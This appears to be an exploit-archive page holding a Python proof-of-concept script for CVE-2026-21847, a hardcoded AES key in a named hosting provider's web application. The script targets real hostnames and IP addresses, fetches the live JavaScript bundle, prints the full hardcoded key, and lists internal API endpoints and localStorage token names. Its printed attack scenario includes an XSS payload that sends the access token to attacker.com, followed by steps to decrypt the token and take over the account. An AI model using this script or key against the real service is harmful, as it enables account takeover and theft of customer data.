5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve_poc_simple.py PY
#!/usr/bin/env python3
"""
CVE-2026-21847: DPDC Hardcoded AES Key - Simple PoC
Simple version for quick testing
"""

import re
import sys
import urllib.request
import json

# Target configuration
TARGET = "dpdatacenter.com"
JS_URL = "https://subscription.dpdatacenter.com/js/app.1773634386574.js"
API_BASE = "https://api.dpdatacenter.com/api/v1/"

# The hardcoded key (known from analysis)
HARDCODED_KEY = "54p5YKkJbsxMczGYHK2dJnn3vHA2wYZoYb2KoAOuG2oONGRxCUkesrKHQ4zgeZK3pDMpyUVzd5Mc80hilvlNuXsYdbS1EpkGzD26kZBPdDfxpwuX21xufjDITl2HjcdVCf1dReAvXZTX7i5f6wQXCOUwNRtDYfLpd2FfVHNEW6FAMiiSkBGWkyOKSQfswPUKOP7pECCGm6TAuE82shekrczOqpnUVdAYpfPbCta3TX9gNvnKidpFC67jQIZT7xB7"

def print_banner():
    print("=" * 60)
    print("CVE-2026-21847: DPDC Hardcoded AES Key PoC")
    print("=" * 60)

def check_subdomains():
    """Check known subdomains"""
    print("\n[1] SUBDOMAIN ENUMERATION")
    print("-" * 40)
    
    known = [
        ("dpdatacenter.com", "157.10.72.16", "80/443"),
        ("subscription.dpdatacenter.com", "157.10.72.16", "443"),
        ("api.dpdatacenter.com", "157.10.72.16", "443"),
        ("web.dpdatacenter.com", "157.10.72.3", "2083"),
        ("web2.dpdatacenter.com", "157.10.72.4", "2083"),
    ]
    
    for host, ip, port in known:
        print(f"  [OK] {host} -> {ip}:{port}")

def extract_key():
    """Extract hardcoded key from JS"""
    print("\n[2] HARDCODED KEY EXTRACTION")
    print("-" * 40)
    
    print(f"  [*] Downloading: {JS_URL}")
    
    try:
        req = urllib.request.Request(JS_URL)
        req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)')
        
        with urllib.request.urlopen(req, timeout=30) as response:
            js_content = response.read().decode('utf-8')
            
        print(f"  [*] File size: {len(js_content):,} bytes")
        print(f"  [*] Searching for key...")
        
        # Search for the key
        if HARDCODED_KEY in js_content:
            print(f"  [OK] Key found in JavaScript!")
            print(f"\n  Key: {HARDCODED_KEY}")
            return True
        else:
            print(f"  [!] Key not found (may be minified differently)")
            # Try pattern search
            pattern = r'[a-zA-Z0-9]{80,}'
            matches = re.findall(pattern, js_content)
            for m in matches:
                if len(m) >= 80 and len(m) <= 90:
                    print(f"  [?] Possible key: {m[:50]}...")
                    return True
            
    except Exception as e:
        print(f"  [Error] {e}")
    
    # Use known key as fallback
    print(f"  [*] Using known key (fallback)")
    print(f"\n  Key: {HARDCODED_KEY}")
    return True

def show_vulnerabilities():
    """Show discovered vulnerabilities"""
    print("\n[3] VULNERABILITIES FOUND")
    print("-" * 40)
    
    vulns = [
        ("CVE-2026-21847", "Hardcoded AES Key", "CRITICAL", "9.8"),
        ("CVE-2026-21848", "Client-Side Password Encryption", "HIGH", "7.5"),
        ("CVE-2026-21849", "Sensitive Data in localStorage", "HIGH", "8.1"),
        ("CVE-2026-21850", "Missing HttpOnly Cookies", "MEDIUM", "6.8"),
        ("CVE-2026-21851", "Hardcoded reCAPTCHA Key", "MEDIUM", "5.3"),
    ]
    
    for cve, name, sev, score in vulns:
        print(f"  [{sev}] {cve}: {name} (CVSS {score})")

def show_localstorage():
    """Show exposed localStorage data"""
    print("\n[4] EXPOSED LOCALSTORAGE KEYS")
    print("-" * 40)
    
    keys = [
        ("ate", "Encrypted Access Token", "CRITICAL"),
        ("rte", "Encrypted Refresh Token", "CRITICAL"),
        ("token", "Authentication Token", "CRITICAL"),
        ("customerInfo", "Customer Data (JSON)", "HIGH"),
        ("EMAIL_1", "Customer Email", "HIGH"),
        ("ID_CUSTOMER", "Customer ID", "MEDIUM"),
        ("cpaneInfoMap", "cPanel Information", "HIGH"),
        ("myBillingCycle", "Billing Data", "HIGH"),
    ]
    
    for key, desc, sev in keys:
        print(f"  {key:20} - {desc} [{sev}]")

def show_api_endpoints():
    """Show discovered API endpoints"""
    print("\n[5] API ENDPOINTS (Internal)")
    print("-" * 40)
    
    apis = [
        "/customer/login",
        "/customer/information",
        "/customer/forgot-password",
        "/customer/reset-password",
        "/billing-cycles/my-billing-cycle",
        "/vm-instances/get-bulk-basic-vm-info",
        "/vm-instances/reboot-vm",
        "/waf/sites",
        "/whmcpanel/get-bulk-account-summary",
        "/storages/generate-key",
    ]
    
    print(f"  Base URL: {API_BASE}")
    for api in apis:
        print(f"    - {api}")

def attack_explanation():
    """Explain attack scenario"""
    print("\n[6] ATTACK SCENARIO")
    print("-" * 40)
    print("""
  1. Attacker downloads the JavaScript file:
     $ curl -s https://subscription.dpdatacenter.com/js/app.1773634386574.js
     
  2. Attacker extracts the hardcoded AES key:
     Key: 54p5YKkJbsxMczGYHK2dJnn3vHA2wYZoYb2KoAOuG2o...
     
  3. Attacker obtains localStorage token (via XSS):
     <script>
     fetch('https://attacker.com?c='+localStorage.getItem('ate'))
     </script>
     
  4. Attacker decrypts the token using the hardcoded key:
     CryptoJS.AES.decrypt(encryptedToken, HARDCODED_KEY)
     
  5. Attacker uses decrypted token for API access:
     GET /api/v1/customer/information
     Header: Token: <decrypted_token>
     
  6. RESULT: Full account takeover!
""")

def main():
    """Main function"""
    print_banner()
    print(f"\nTarget: {TARGET}")
    
    check_subdomains()
    extract_key()
    show_vulnerabilities()
    show_localstorage()
    show_api_endpoints()
    attack_explanation()
    
    print("\n" + "=" * 60)
    print("REFERENCES")
    print("=" * 60)
    print(f"""
  CVE ID:      CVE-2026-21847
  CVSS:        9.8 (Critical)
  CWE:         CWE-798 (Hard-coded Credentials)
  Discovered: 2026-04-25
  
  Files:
    - security-report-dpdatacenter.md
    - CVE-2026-21847-DPDC-Hardcoded-AES.md
    - dpdccve_scanner.py
    - scan-subdomains.ps1
""")
    
    return 0

if __name__ == "__main__":
    sys.exit(main())